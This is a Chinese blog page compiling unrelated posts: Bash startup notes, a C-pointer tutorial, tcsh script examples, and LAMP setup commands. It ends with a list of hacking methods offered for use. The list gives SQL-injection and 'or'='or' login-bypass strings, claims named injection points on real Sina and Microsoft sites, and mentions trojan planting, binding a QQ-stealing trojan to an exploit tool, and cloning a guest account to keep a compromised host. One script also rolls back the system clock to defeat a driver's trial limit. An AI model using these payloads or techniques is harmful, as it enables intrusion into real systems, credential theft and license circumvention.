本博客已转移至 http://www.lupaworld.com/home/35714

Bash最常见的激活模式 

上一篇 / 下一篇  2007-04-20 04:32:39 / 个人分类:KernBombe

Bash最常见的激活模式是交互式和非交互式:
1.交互式激活
指其标准输入和输出都连接在终端上.又分为三种类型:login,非login,posix
以及受限的shell.
确定一个shell是否是交互式的可以通过检测$PS1环境变量.
(1) 当Bash作为login shell被激活时,它将依次读取并执行以下文件:
/etc/profile,~/.bash_profile,~/.bash_login,~/.profile
使用--noprofile选项激活Bash可以禁止其读任何初始化文件
在退出时执行 ~/.bash_logout 文件
(2) 当Bash作为非login shell被激活时,它将读取并执行~/.bashrc
使用--norc选项激活Bash可以禁止执行任何初始化文件,使用
--rcfile file可以指定执行的初始化文件.
(3) 当Bash作为posix模式被激活时,它将先检查$ENV变量是否定义.
若定义,Bash读取并执行有$ENV变量扩展而得到的文件,否则不再
执行任何初始化文件。
(4) 当Bash作为受限模式被激活时,它除了禁止某些操作以外,其他行为
于其他模式相同.受限操作有:改变目录,修改$SHELL和$PATH变量,
运行exec,以绝对路径运行程序以及使用重定向.Bash 1.x中不包含
受限模式.
2.非交互式激活
主要用来运行Shell脚本.启动后,Bash检查$BASH_ENV变量,若定义,
这执行该变量指定文件中包含的命令.

Bash 的激活选项
-c string 该选项表明string中包含了一条命令.如 bash -c ls ~
-i 使Bash以交互式方式运行
-r 使Bash以受限方式运行
--login 使Bash以登录Shell方式运行
--posix 使Bash遵循POSIX标准
--verbose 使Bash显示所有其读入的输入行
--help 打印Bash的使用信息
--version 打印版本信息
--noprofile
--norc
--rcfile file

 

 

 

深入理解C语言指针的奥秘

逗豆 发表于 2007-3-14 18:17:00
 
指针是一个特殊的变量,它里面存储的数值被解释成为内存里的一个地址。 要搞清一个指针需要搞清指针的四方面的内容:指针的类型,指针所指向的 类型,指针的值或者叫指针所指向的内存区,还有指针本身所占据的内存区。让我们分别说明。
  先声明几个指针放着做例子:
  例一:
  (1)int*ptr;
  (2)char*ptr;
  (3)int**ptr;
  (4)int(*ptr)[3];
  (5)int*(*ptr)[4];
  
  指针的类型
  从语法的角度看,你只要把指针声明语句里的指针名字去掉,剩下的部分就是这个指针的类型。这是指针本身所具有的类型。让我们看看例一中各个指针的类型:
  (1)int*ptr;//指针的类型是int*
  (2)char*ptr;//指针的类型是char*
  (3)int**ptr;//指针的类型是int**
  (4)int(*ptr)[3];//指针的类型是int(*)[3]
  (5)int*(*ptr)[4];//指针的类型是int*(*)[4]
  怎么样?找出指针的类型的方法是不是很简单?
  指针所指向的类型
  当你通过指针来访问指针所指向的内存区时,指针所指向的类型决定了编译器将把那片内存区里的内容当做什么来看待。
  从语法上看,你只须把指针声明语句中的指针名字和名字左边的指针声明符*去掉,剩下的就是指针所指向的类型。例如:
  (1)int*ptr;//指针所指向的类型是int
  (2)char*ptr;//指针所指向的的类型是char
  (3)int**ptr;//指针所指向的的类型是int*
  (4)int(*ptr)[3];//指针所指向的的类型是int()[3]
  (5)int*(*ptr)[4];//指针所指向的的类型是int*()[4]
  在指针的算术运算中,指针所指向的类型有很大的作用。
  指针的类型(即指针本身的类型)和指针所指向的类型是两个概念。当你对C越来越熟悉时,你会发现,把与指针搅和在一起的"类型"这个概念分成"指针的类型"和"指针所指向的类型"两个概念,是精通指针的关键点之一。我看了不少书,发现有些写得差的书中,就把指针的这两个概念搅在一起了,所以看起书来前后矛盾,越看越糊涂。
指针的值,或者叫指针所指向的内存区或地址
  指针的值是指针本身存储的数值,这个值将被编译器当作一个地址,而不是一个一般的数值。在32位程序里,所有类型的指针的值都是一个32位整数,因为32位程序里内存地址全都是32位长。 指针所指向的内存区就是从指针的值所代表的那个内存地址开始,长度为si zeof(指针所指向的类型)的一片内存区。以后,我们说一个指针的值是XX,就相当于说该指针指向了以XX为首地址的一片内存区域;我们说一个指针指向了某块内存区域,就相当于说该指针的值是这块内存区域的首地址。
  指针所指向的内存区和指针所指向的类型是两个完全不同的概念。在例一中,指针所指向的类型已经有了,但由于指针还未初始化,所以它所指向的内存区是不存在的,或者说是无意义的。
  以后,每遇到一个指针,都应该问问:这个指针的类型是什么?指针指的类型是什么?该指针指向了哪里?
  指针本身所占据的内存区
  指针本身占了多大的内存?你只要用函数sizeof(指针的类型)测一下就知道了。在32位平台里,指针本身占据了4个字节的长度。
  指针本身占据的内存这个概念在判断一个指针表达式是否是左值时很有用。
  指针的算术运算
指针可以加上或减去一个整数。指针的这种运算的意义和通常的数值的加减运算的意义是不一样的。例如:
  例二:
  1、chara[20];
  2、int*ptr=a;
  ...
 ...
  3、ptr++;
  在上例中,指针ptr的类型是int*,它指向的类型是int,它被初始化为指向整形变量a。接下来的第3句中,指针ptr被加了1,编译器是这样处理的:它把指针ptr的值加上了sizeof(int),在32位程序中,是被加上了4。由于地址是用字节做单位的,故ptr所指向的地址由原来的变量a的地址向高地址方向增加了4个字节。
由于char类型的长度是一个字节,所以,原来ptr是指向数组a的第0号单元开始的四个字节,此时指向了数组a中从第4号单元开始的四个字节。
  我们可以用一个指针和一个循环来遍历一个数组,看例子:
  例三:
intarray[20];
int*ptr=array;
...
//此处略去为整型数组赋值的代码。
...
for(i=0;i<20;i++)
{
 (*ptr)++;
 ptr++;
}
  这个例子将整型数组中各个单元的值加1。由于每次循环都将指针ptr加1,所以每次循环都能访问数组的下一个单元。

  再看例子:

  例四:

  1、chara[20];
  2、int*ptr=a;
  ...
  ...
  3、ptr+=5;
  在这个例子中,ptr被加上了5,编译器是这样处理的:将指针ptr的值加上5乘sizeof(int),在32位程序中就是加上了5乘4=20。由于地址的单位是字节,故现在的ptr所指向的地址比起加5后的ptr所指向的地址来说,向高地址方向移动了20个字节。在这个例子中,没加5前的ptr指向数组a的第0号单元开始的四个字节,加5后,ptr已经指向了数组a的合法范围之外了。虽然这种情况在应用上会出问题,但在语法上却是可以的。这也体现出了指针的灵活性。

  如果上例中,ptr是被减去5,那么处理过程大同小异,只不过ptr的值是被减去5乘sizeof(int),新的ptr指向的地址将比原来的ptr所指向的地址向低地址方向移动了20个字节。
  总结一下,一个指针ptrold加上一个整数n后,结果是一个新的指针ptrnew,ptrnew的类型和ptrold的类型相同,ptrnew所指向的类型和ptrold所指向的类型也相同。ptrnew的值将比ptrold的值增加了n乘sizeof(ptrold所指向的类型)个字节。就是说,ptrnew所指向的内存区将比ptrold所指向的内存区向高地址方向移动了n乘sizeof(ptrold所指向的类型)个字节。
  一个指针ptrold减去一个整数n后,结果是一个新的指针ptrnew,ptrnew的类型和ptrold的类型相同,ptrnew所指向的类型和ptrold所指向的类型也相同。ptrnew的值将比ptrold的值减少了n乘sizeof(ptrold所指向的类型)个字节,就是说,ptrnew所指向的内存区将比ptrold所指向的内存区向低地址方向移动了n乘sizeof(ptrold所指向的类型)个字节。
运算符&和*
这里&是取地址运算符,*是...书上叫做"间接运算符"。
  &a的运算结果是一个指针,指针的类型是a的类型加个*,指针所指向的类型是a的类型,指针所指向的地址嘛,那就是a的地址。
  *p的运算结果就五花八门了。总之*p的结果是p所指向的东西,这个东西有这些特点:它的类型是p指向的类型,它所占用的地址是p所指向的地址。
  例五:
inta=12;
intb;
int*p;
int**ptr;
p=&a;
//&a的结果是一个指针,类型是int*,指向的类型是int,指向的地址是a的地址。
*p=24;
//*p的结果,在这里它的类型是int,它所占用的地址是p所指向的地址,显然,*p就是变量a。
ptr=&p;
//&p的结果是个指针,该指针的类型是p的类型加个*,在这里是int **。该指针所指向的类型是p的类型,这里是int*。该指针所指向的地址就是指针p自己的地址。
*ptr=&b;
//*ptr是个指针,&b的结果也是个指针,且这两个指针的类型和所指向的类型是一样的,所以用&b来给*ptr赋值就是毫无问题的了。
**ptr=34;
//*ptr的结果是ptr所指向的东西,在这里是一个指针,对这个指针再做一次*运算,结果就是一个int类型的变量。
  指针表达式
一个表达式的最后结果如果是一个指针,那么这个表达式就叫指针表式。
  下面是一些指针表达式的例子:
  例六:
inta,b;
intarray[10];
int*pa;
pa=&a;//&a是一个指针表达式。
int**ptr=&pa;//&pa也是一个指针表达式。
*ptr=&b;//*ptr和&b都是指针表达式。
pa=array;
pa++;//这也是指针表达式。
例七:
char*arr[20];
char**parr=arr;//如果把arr看作指针的话,arr也是指针表达式
char*str;
str=*parr;//*parr是指针表达式
str=*(parr+1);//*(parr+1)是指针表达式
str=*(parr+2);//*(parr+2)是指针表达式
  由于指针表达式的结果是一个指针,所以指针表达式也具有指针所具有的四个要素:指针的类型,指针所指向的类型,指针指向的内存区,指针自身占据的内存。

  好了,当一个指针表达式的结果指针已经明确地具有了指针自身占据的内存的话,这个指针表达式就是一个左值,否则就不是一个左值。
  在例七中,&a不是一个左值,因为它还没有占据明确的内存。*ptr是一个左值,因为*ptr这个指针已经占据了内存,其实*ptr就是指针pa,既然pa已经在内存中有了自己的位置,那么*ptr当然也有了自己的位置。
  数组和指针的关系
  数组的数组名其实可以看作一个指针。看下例:
  例八:
intarray[10]={0,1,2,3,4,5,6,7,8,9},value;
...
...
value=array[0];//也可写成:value=*array;
value=array[3];//也可写成:value=*(array+3);
value=array[4];//也可写成:value=*(array+4);
上例中,一般而言数组名array代表数组本身,类型是int[10],但如果把array看做指针的话,它指向数组的第0个单元,类型是int*,所指向的类型是数组单元的类型即int。因此*array等于0就一点也不奇怪了。同理,array+3是一个指向数组第3个单元的指针,所以*(array+3)等于3。其它依此类推。

  例九:
char*str[3]={
 "Hello,thisisasample!",
 "Hi,goodmorning.",
 "Helloworld"
};
chars[80];
strcpy(s,str[0]);//也可写成strcpy(s,*str);
strcpy(s,str[1]);//也可写成strcpy(s,*(str+1));
strcpy(s,str[2]);//也可写成strcpy(s,*(str+2));
上例中,str是一个三单元的数组,该数组的每个单元都是一个指针,这些指针各指向一个字符串。把指针数组名str当作一个指针的话,它指向数组的第0号单元,它的类型是char**,它指向的类型是char*。
*str也是一个指针,它的类型是char*,它所指向的类型是char,它指向的地址是字符串"Hello,thisisasample!"的第一个字符的地址,即'H'的地址。 str+1也是一个指针,它指向数组的第1号单元,它的类型是char**,它指向的类型是char*。

  *(str+1)也是一个指针,它的类型是char*,它所指向的类型是char,它指向 "Hi,goodmorning."的第一个字符'H',等等。

  下面总结一下数组的数组名的问题。声明了一个数组TYPEarray[n],则数组名称array就有了两重含义:第一,它代表整个数组,它的类型是TYPE[n];第二 ,它是一个指针,该指针的类型是TYPE*,该指针指向的类型是TYPE,也就是数组单元的类型,该指针指向的内存区就是数组第0号单元,该指针自己占有单独的内存区,注意它和数组第0号单元占据的内存区是不同的。该指针的值是不能修改的,即类似array++的表达式是错误的。
  在不同的表达式中数组名array可以扮演不同的角色。
  在表达式sizeof(array)中,数组名array代表数组本身,故这时sizeof函数测出的是整个数组的大小。
在表达式*array中,array扮演的是指针,因此这个表达式的结果就是数组第0号单元的值。sizeof(*array)测出的是数组单元的大小。
  表达式array+n(其中n=0,1,2,....。)中,array扮演的是指针,故array+n的结果是一个指针,它的类型是TYPE*,它指向的类型是TYPE,它指向数组第n号单元。故sizeof(array+n)测出的是指针类型的大小。
例十
intarray[10];
int(*ptr)[10];
ptr=&array;:
上例中ptr是一个指针,它的类型是int(*)[10],他指向的类型是int[10] ,我们用整个数组的首地址来初始化它。在语句ptr=&array中,array代表数组本身。

  本节中提到了函数sizeof(),那么我来问一问,sizeof(指针名称)测出的究竟是指针自身类型的大小呢还是指针所指向的类型的大小?答案是前者。例如:
int(*ptr)[10];
  则在32位程序中,有:
sizeof(int(*)[10])==4
sizeof(int[10])==40
sizeof(ptr)==4
实际上,sizeof(对象)测出的都是对象自身的类型的大小,而不是别的什么类型的大小。
指针和结构类型的关系
可以声明一个指向结构类型对象的指针。
  例十一:
structMyStruct
{
 inta;
 intb;
 intc;
}
MyStructss={20,30,40};
//声明了结构对象ss,并把ss的三个成员初始化为20,30和40。
MyStruct*ptr=&ss;
//声明了一个指向结构对象ss的指针。它的类型是MyStruct*,它指向的类型是MyStruct。
int*pstr=(int*)&ss;
//声明了一个指向结构对象ss的指针。但是它的类型和它指向的类型和ptr是不同的。
  请问怎样通过指针ptr来访问ss的三个成员变量?
  答案:
ptr->a;
ptr->b;
ptr->c;
  又请问怎样通过指针pstr来访问ss的三个成员变量?
  答案:
*pstr;//访问了ss的成员a。
*(pstr+1);//访问了ss的成员b。
*(pstr+2)//访问了ss的成员c。
  虽然我在我的MSVC++6.0上调式过上述代码,但是要知道,这样使用pstr来访问结构成员是不正规的,为了说明为什么不正规,让我们看看怎样通过指针来访问数组的各个单元:
  例十二:
intarray[3]={35,56,37};
int*pa=array;
  通过指针pa访问数组array的三个单元的方法是:
*pa;//访问了第0号单元
*(pa+1);//访问了第1号单元
*(pa+2);//访问了第2号单元
  从格式上看倒是与通过指针访问结构成员的不正规方法的格式一样。
  所有的C/C++编译器在排列数组的单元时,总是把各个数组单元存放在连续的存储区里,单元和单元之间没有空隙。但在存放结构对象的各个成员时,在某种编译环境下,可能会需要字对齐或双字对齐或者是别的什么对齐,需要在相邻两个成员之间加若干个"填充字节",这就导致各个成员之间可能会有若干个字节的空隙。
  所以,在例十二中,即使*pstr访问到了结构对象ss的第一个成员变量a,也不能保证*(pstr+1)就一定能访问到结构成员b。因为成员a和成员b之间可能会有若干填充字节,说不定*(pstr+1)就正好访问到了这些填充字节呢。这也证明了指针的灵活性。要是你的目的就是想看看各个结构成员之间到底有没有填充字节,嘿,这倒是个不错的方法。
过指针访问结构成员的正确方法应该是象例十二中使用指针ptr的方法。
  指针和函数的关系
  可以把一个指针声明成为一个指向函数的指针。intfun1(char*,int);
int(*pfun1)(char*,int);
pfun1=fun1;
....
....
inta=(*pfun1)("abcdefg",7);//通过函数指针调用函数。
可以把指针作为函数的形参。在函数调用语句中,可以用指针表达式来作为实参。
  例十三:
intfun(char*);
inta;
charstr[]="abcdefghijklmn";
a=fun(str);
...
...
intfun(char*s)
{
intnum=0;
for(inti=0;i{
num+=*s;s++;
}
returnnum;
}
  这个例子中的函数fun统计一个字符串中各个字符的ASCII码值之和。前面说了,数组的名字也是一个指针。在函数调用中,当把str作为实参传递给形参s后,实际是把str的值传递给了s,s所指向的地址就和str所指向的地址一致,但是str和s各自占用各自的存储空间。在函数体内对s进行自加1运算,并不意味着同时对str进行了自加1运算。
指针类型转换
当我们初始化一个指针或给一个指针赋值时,赋值号的左边是一个指针,赋值号的右边是一个指针表达式。在我们前面所举的例子中,绝大多数情况下,指针的类型和指针表达式的类型是一样的,指针所指向的类型和指针表达式所指向的类型是一样的。
  例十四:
  1、floatf=12.3;
  2、float*fptr=&f;
  3、int*p;
   在上面的例子中,假如我们想让指针p指向实数f,应该怎么搞?是用下面的语句吗?

  p=&f;

  不对。因为指针p的类型是int*,它指向的类型是int。表达式&f的结果是一个指针,指针的类型是float*,它指向的类型是float。两者不一致,直接赋值的方法是不行的。至少在我的MSVC++6.0上,对指针的赋值语句要求赋值号两边的类型一致,所指向的类型也一致,其它的编译器上我没试过,大家可以试试。为了实现我们的目的,需要进行"强制类型转换":
p=(int*)&f;
如果有一个指针p,我们需要把它的类型和所指向的类型改为TYEP*TYPE, 那么语法格式是:
  (TYPE*)p;
  这样强制类型转换的结果是一个新指针,该新指针的类型是TYPE*,它指向的类型是TYPE,它指向的地址就是原指针指向的地址。而原来的指针p的一切属性都没有被修改。
  一个函数如果使用了指针作为形参,那么在函数调用语句的实参和形参的结合过程中,也会发生指针类型的转换。
  例十五:
voidfun(char*);
inta=125,b;
fun((char*)&a);
...
...
voidfun(char*s)
{
charc;
c=*(s+3);*(s+3)=*(s+0);*(s+0)=c;
c=*(s+2);*(s+2)=*(s+1);*(s+1)=c;
}
}
注意这是一个32位程序,故int类型占了四个字节,char类型占一个字节。函数fun的作用是把一个整数的四个字节的顺序来个颠倒。注意到了吗?在函数调用语句中,实参&a的结果是一个指针,它的类型是int*,它指向的类型是int。形参这个指针的类型是char*,它指向的类型是char。这样,在实参和形参的结合过程中,我们必须进行一次从int*类型到char*类型的转换。结合这个例子,我们可以这样来想象编译器进行转换的过程:编译器先构造一个临时指针char*temp, 然后执行temp=(char*)&a,最后再把temp的值传递给s。所以最后的结果是:s的类型是char*,它指向的类型是char,它指向的地址就是a的首地址。

  我们已经知道,指针的值就是指针指向的地址,在32位程序中,指针的值其实是一个32位整数。那可不可以把一个整数当作指针的值直接赋给指针呢?就象下面的语句:
unsignedinta;
TYPE*ptr;//TYPE是int,char或结构类型等等类型。
...
...
a=20345686;
ptr=20345686;//我们的目的是要使指针ptr指向地址20345686(十进制

ptr=a;//我们的目的是要使指针ptr指向地址20345686(十进制)
编译一下吧。结果发现后面两条语句全是错的。那么我们的目的就不能达到了吗?不,还有办法:
unsignedinta;
TYPE*ptr;//TYPE是int,char或结构类型等等类型。
...
...
a=某个数,这个数必须代表一个合法的地址;
ptr=(TYPE*)a;//呵呵,这就可以了。
严格说来这里的(TYPE*)和指针类型转换中的(TYPE*)还不一样。这里的(TYPE*)的意思是把无符号整数a的值当作一个地址来看待。上面强调了a的值必须代表一个合法的地址,否则的话,在你使用ptr的时候,就会出现非法操作错误。

  想想能不能反过来,把指针指向的地址即指针的值当作一个整数取出来。完 全可以。下面的例子演示了把一个指针的值当作一个整数取出来,然后再把这个整数当作一个地址赋给一个指针:
  例十六:
inta=123,b;
int*ptr=&a;
char*str;
b=(int)ptr;//把指针ptr的值当作一个整数取出来。
str=(char*)b;//把这个整数的值当作一个地址赋给指针str。
  现在我们已经知道了,可以把指针的值当作一个整数取出来,也可以把一个整数值当作地址赋给一个指针。
  指针的安全问题
看下面的例子:
  例十七:
chars='a';
int*ptr;
ptr=(int*)&s;
*ptr=1298;
  指针ptr是一个int*类型的指针,它指向的类型是int。它指向的地址就是s的首地址。在32位程序中,s占一个字节,int类型占四个字节。最后一条语句不但改变了s所占的一个字节,还把和s相临的高地址方向的三个字节也改变了。这三个字节是干什么的?只有编译程序知道,而写程序的人是不太可能知道的。也许这三个字节里存储了非常重要的数据,也许这三个字节里正好是程序的一条代码,而由于你对指针的马虎应用,这三个字节的值被改变了!这会造成崩溃性的错误。
  让我们再来看一例:
  例十八:
  1、chara;
  2、int*ptr=&a;
  ...
  ...
  3、ptr++;
  4、*ptr=115;
  该例子完全可以通过编译,并能执行。但是看到没有?第3句对指针ptr进行自加1运算后,ptr指向了和整形变量a相邻的高地址方向的一块存储区。这块存储区里是什么?我们不知道。有可能它是一个非常重要的数据,甚至可能是一条代码。而第4句竟然往这片存储区里写入一个数据!这是严重的错误。所以在使用指针时,程序员心里必须非常清楚:我的指针究竟指向了哪里。在用指针访问数组的时候,也要注意不要超出数组的低端和高端界限,否则也会造成类似的错误。
  在指针的强制类型转换:ptr1=(TYPE*)ptr2中,如果sizeof(ptr2的类型)大于sizeof(ptr1的类型),那么在使用指针ptr1来访问ptr2所指向的存储区时是安全的。如果sizeof(ptr2的类型)小于sizeof(ptr1的类型),那么在使用指针ptr1来访问ptr2所指向的存储区时是不安全的。至于为什么,读者结合例十七来想一想,应该会明白的。

摘自 http://embedfans.com/C/2007181016375897.htm

 

 

 

Shell 编程实例集锦


如何远程杀死僵进程?所谓“僵进程”是指处于睡眠中,而且没用的进程。在进行并行计算时经常会有僵进程产生。由于用 top 看不到“僵进程”,所以写了如下一个叫做“rkill”的 shell 文件:

#!/bin/tcsh
 
echo "  Input start number of node: "
set N1="$<"
echo "  Input end number of node: "
set N2="$<"
 
echo "  Input the NAME of program"
set pname="$<"
 
echo "**********************************************************"
 
while($N1 <= $N2)
   set h='t'$N1
   set ppid=`rsh $h ps -ef | grep $pname | awk '{print $2}' `
   echo "rsh $h  kill $ppid"
   rsh $h kill $ppid
   @ N1++
end
 
echo "**********************************************************"
如何将一个 index 文件中的空链接删除?在目录 /doc/Art_and_Photos/photo/NASA-Astronomy_Picture_of_the_Day 中只有有限的几个文件,而 archivepix.html 文件中却链接了两千多个文件,我们的目标就是要把不存在的文件链接删除掉。

#!/bin/tcsh -f
 
# 从当前目录中查找有哪些可用文件。find 不支持正则表达式 \{\}
set tmp=`find . -type f -maxdepth 1 -name "ap[0-9][0-9][0-9][0-9][0-9][0-9].html" `
 
# 将查找结果 ./ap000303.html 转换为 ap000303.html
set ff1=`echo $tmp | sed -e 's/\.\/\(ap[0-9]\{6\}\.html\)/\1/g' `
 
# 在文件 archivepix.html 中查找包含类似 ap000303.html 的行,并将其导入临时文件 ftmp 中
grep 'ap[0-9]\{6\}\.html' archivepix.html >ftmp
 
# 将 ftmp 中的每一行转换为 ap000303.html 的形式,这样 ff1 和 ff2 中的字符串在形式上就是相同的了。
set ff2 = ` sed -e 's/.*\(ap[0-9]\{6\}\.html\).*/\1/g' ftmp`
rm ftmp -f
 
# 比较变量 ff1 和 ff2 的内容,如果一个字符串只存在于 ff2 中,那么就把文件 archivepix.html 中含有
# 该字符串的行删除掉。
foreach f2 ($ff2)
  echo $f2
  set flag=0
  foreach f1 ($ff1)
    if ($f2 == $f1) then
      set flag=1
    endif
  end
  if($flag == 0) then
    sed -e '/'$f2'/d' archivepix.html >ftmp  # 此句最关键之处在于'$f2'可用于正则表达式。
    mv ftmp archivepix.html -f
  endif
end
如何将一个目录中的所有文件链接到网页中?只要将下列程序的输出导到一个文件中,再将其拷至网页的相应位置就可以了。这里最关键的是看双引号如何输出(\")。

#!/bin/tcsh -f
set dd = "/doc/Art_and_Photos/Flash/flash/AGui"
set ffff = `find $dd -type f `
set n=0
foreach f ($ffff)
@ n++
echo $f
echo '< a href='\"$f\"'<'$n',</a>'>> AGui.html
end
如何为一堆文件换名字?在吴老师的笔记心得中介绍了张林波的高招,但那是 bash 的,而且是以命令行形式给出的。为了便于理解,我将其改写为 tcsh 格式,并将其置于脚本文件之中,更利于使用。

#!/bin/tcsh -f      # -f 说明直接运行该文件,而不会先运行 .cshrc 进行初始化
rm tmp_file -f      # 确保该文件不存在
foreach fold (*.jpg.*)
set fnew = ` echo $fold | sed -e "s/\.jpg\.\(.*\)/-\1.jpg/g" ` # 精华之处
echo "mv $fold $fnew -f " >>tmp_file
end
chmod a+x tmp_file
./tmp_file
rm tmp_file -f
在这个脚本文件中,关键是“精华之处”。它的意义是:首先将要修改的文件名($fold)通过管道( | ) 传给流编辑器(sed),流编辑器对文件名进行处理,其各项的具体意义为:

set fnew = ` echo $fold | sed -e "s/\.jpg\.\(.*\)/-\1.jpg/g" `
 
sed -e            命令+选项  表示允许多点编辑
s/re/string/      用 string 替换正则表达式 re
/\.jpg\.\(.*\)/   “\.”表示一个真正的点,“\.jpg\.” 代表文件名中的“ .jpg.”;
                  “\(.*\)” 中的‘.’匹配一个非换行符的字符,‘*’匹配 0 个或多个“先前”字符,
                   它与 shell 的通配符完全不同,shell 的通配符代表 0 个或多个“任意”字符。
                   “.*”所代表的内容被设为“标签 1”,可在需要的地方用“\1”引用。值得注意
                    的是:“.*”决不能用“*”来代替,因为“*”将表示任意个“\.”。
/-\1.jpg/         “\1”代表“标签 1”的内容
g                   表示行内全面替换
这里还有一个地方需要提醒,那就是将 `echo ...` 引起来的不是单引号,而是键盘左上角标有 “~ ` ”上的撇号.

如何解决网页中字体放大时出现重叠的问题?方案一:适用于单层目录

#!/bin/tcsh -f
set dir=`ls .`
foreach d  ($dir)
  if( -d $d) then          # 判断是否为目录
    cd  $d
    echo "cd $d"
    foreach f (*.htm *.html)
      sed -e '/[0-9]pt/d' $f > ftmp  # 删除所有包含 9pt、12pt 等关键词的行
      mv ftmp $f -f
    end
    cd ..
  endif
end
方案二:适用于多层目录

#!/bin/tcsh -f
set SearchPath = "/doc/Reading/everything/武侠/梁羽生"
set files=`find $SearchPath -type f -name "*.htm*" `
foreach f ($files)
  echo $f
  sed -e '/[0-9]pt/d' $f > ftmp
  mv ftmp $f -f
end
如何将一个目录中所有文件名由大写变为小写我们以目录 tmp 为例

1. 进入 tmp 目录的上一级目录
2. zip -r tmp.zip  tmp/*
3. mv tmp tmp-old   (这是为了安全起见,此处也可改为 rm -r -f tmp )
4. unzip -LL tmp.zip
这样,tmp 目录中的文件名就全改为小写了。在确认无误后,可将 tmp-old 目录删除。

如何将一个文件中的内容由大写变为小写最简单的做法是在 ~/.cshrc 中设如下命令:

alias tr  'tr A-Z a-z< \!* >ttttmp; mv ttttmp \!* -f'
此处别名必须为 tr,其他的就不行,不知为什么。当需要对文件进行操作时,敲如下命令:

tr  [filename]
该命令在命令行中运行没有任何问题,但是如果将其放在一个 shell scrīpt 文件中,然后将该文件的属性改为可执行并执行之的话,你会发现用 alias 设置的简化命令全部失效。解决办法为:

source  shell_file
此处还顺便说一句,sh 命令运行的是 bash 文件。

如何使系统每隔大约3小时自动激活一次声卡1. 由于我们所用的声卡驱动程序是一个试用版的,在一星期以内,它有3小时的有效时间(尚可接受)。但超过一个星期以后,有效时间就只有20分钟了,那是绝对无法忍受的!吴首教为此感到义愤填膺,于2003年9月1日“坐台”完毕后,组建攻关小组并亲自挂帅,带领组员王某人经过“极其艰苦” 的奋斗,终于攻克了这一难题。短命的攻关小组在完成了其历史使命,并开完“非典声卡激活经验总结表彰大会”后,就地解散。茫茫天地间只留下了如下解决方案:

(1) 建立 shell 脚本文件 opensound

#!/bin/tcsh -f
while(1)
set datesave=`date +%m%d%H%M%Y`
date 082500002003
/usr/lib/oss/soundoff
/usr/lib/oss/soundon
date $datesave
sleep 10800
end
(2) 将 opensound 的属性改为所有人均可执行, 命令为:

chmod  a+x  opensound
(3) 将 opensound 拷贝至 /usr/local/bin

(4) 在 /etc/rc.d/rc.local 中加入

/usr/local/bin/opensound >&/dev/null&
(5) 重新启动计算机。然后我们就能永远听到美妙的声音啦!!! (此事又一次证明: 道高一尺, 魔高一丈!)

2. 曾经我以为这一问题已圆满解决,但在使用过程中却问题多多,人生最痛苦的事莫过如此。究其原因,都是 soundoff 惹得祸。为了声音永驻,我将不惜 CPU 时间与其试比高。

#!/bin/tcsh -f
set datesave=`date +%m%d%H%M%Y`
date 082500002003
/usr/lib/oss/soundoff
/usr/lib/oss/soundon
date $datesave
sleep 8000                   # 以上是为了在系统启动时激活声卡
 
while(1)
  /usr/lib/oss/soundoff >& out
  set flag=`cat out`
  rm out -f
  set N=0
  if("$flag" != "") then     # flag 不是空串说明 soundoff 执行失败
    while(2)
      @ N++
      /usr/lib/oss/soundoff >& out
      set flag=`cat out`
      rm out -f
      if("$flag" == "") then
        echo "soundoff succeed"
        break
      else
        echo "$N   soundoff failed"
        sleep 5
      endif
    end
  endif
  set datesave=`date +%m%d%H%M%Y`
  date 082500002003
  /usr/lib/oss/soundon
  date $datesave
  sleep 8000
end
 

 

 

 

 

 

 

 

 

安装方便,使用简易,兼容效果好

ISO光盘里已带有JRE,安装时将自动安装上jre

电驴 / aMule下地址

http://lib.verycd.com/2007/06/26/0000154778.html

 

 
 
 
 
 
首先更新所有软件至最新版本
#yum update
也可以添加一个软件库:
rpm -Uhv http://apt.sw.be/packages/rpmforge-release/rpmforge-release-0.3.6-1.el5.rf.i386.rpm

需要说明:
下面所安装的LAMP软件可能官方库没有或不全。
yum -y install httpd php mysql mysql-server php-mysql php-gd php-mbstring php-bcmath libmhash libmcrypt mod_ssl
cp /etc/php.ini /etc/php.ini.bak
vi /etc/php.ini

cp /etc/httpd/conf/httpd.conf /etc/httpd/conf/httpd.conf.bak
gedit /etc/httpd/conf/httpd.conf

cp /etc/php.ini /etc/php.ini.bak
gedit /etc/php.ini

cp /etc/my.cnf /etc/my.cnf.bak
gedit /etc/my.cnf


delete from mysql.user where user='';

/etc/rc.d/init.d/httpd restart

/etc/rc.d/init.d/mysqld start


chmod 755 /home/aphone/
mkdir /home/aphone/action
mkdir /etc/skel/action
chown aphone.aphone /home/aphone/action
mv /var/www/html /var/www/html.bak
ln -s /home/aphone/action /var/www/html


gedit /etc/httpd/conf.d/exam.conf

Alias /phpmyadmin /home/aphone/begin/phpmyadmin
Alias /phpsysinfo /home/aphone/begin/phpsysinfo
 
 
 
 
 
 
 
 
 
黑客入侵网络的50种方法
现在网上的攻击事件越来越多,黑客都是通过什么方法来攻击我们的呢?下面我们给大家总结了黑客入侵网络的五十种方法,让大家做到有备无患。

  1.网宽网络有限公司制作的网站基本都有注入漏洞 搜索网宽网络

  2.搜索栏里输入

  关键字%'and 1=1 and '%'='

  关键字%'and 1=2 and '%'='

  比较不同处 可以作为注入的特征字符

  3.登陆框用户名和密码输入'or'='or' 漏洞很老但是现在很是遍地都是

  4.我们先到
www.google.com底下搜索一下Co Net MIB Ver 1.0

  密码帐号都是 'or'='or'

  5.挂马代码

  6.
http://www.wyyfk.com/24小时挂QQ工具

  7.开启regedt32的SAM的管理员权限 检查HKEY_LOCAL_MACHINESAMSAM和HKEY_LOCAL_MACHINESAMSAM下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡,这方法是简单克隆,

  net localgroup administrators还是可以看出Guest是管理员来

  7.只要敢想,新浪也可入侵 注入点

  
http://igame.sina.com.cn/plaza/event/new/crnt_event_view.asp?event_id=59

  微软官方网站注入点

  
http://www.microsoft.com/library/toolbar/3.0/search.aspx?View=en-us&charset=iso-8859-1&qu=

  8.ms05016攻击工具用法 mshta.exe test.hta 文件名.后缀名 可以绑上QQ大盗木马

  9.有sa权限sqlserver数据库、并且能sql注入支持fso+asp的服务器

  SQL注入后,如何上传木马,

  文章地址
http://hack123.home4u.china.com/0601.htm

  10.QQ强制聊天代码

  
http://wpa.qq.com/msgrd?V=1&Uin=对方的qq号&Site=ioshenmue&Menu=yes

  使用方法:把代码中的红色的“********”星号换成你想与其聊天的QQ号后复 制到浏览器的地址栏处即可。无论他是否你的好友,你无须加他为好友就能给 他发QQ消息。

  11. mybbs论坛cookie欺骗 后台备份马

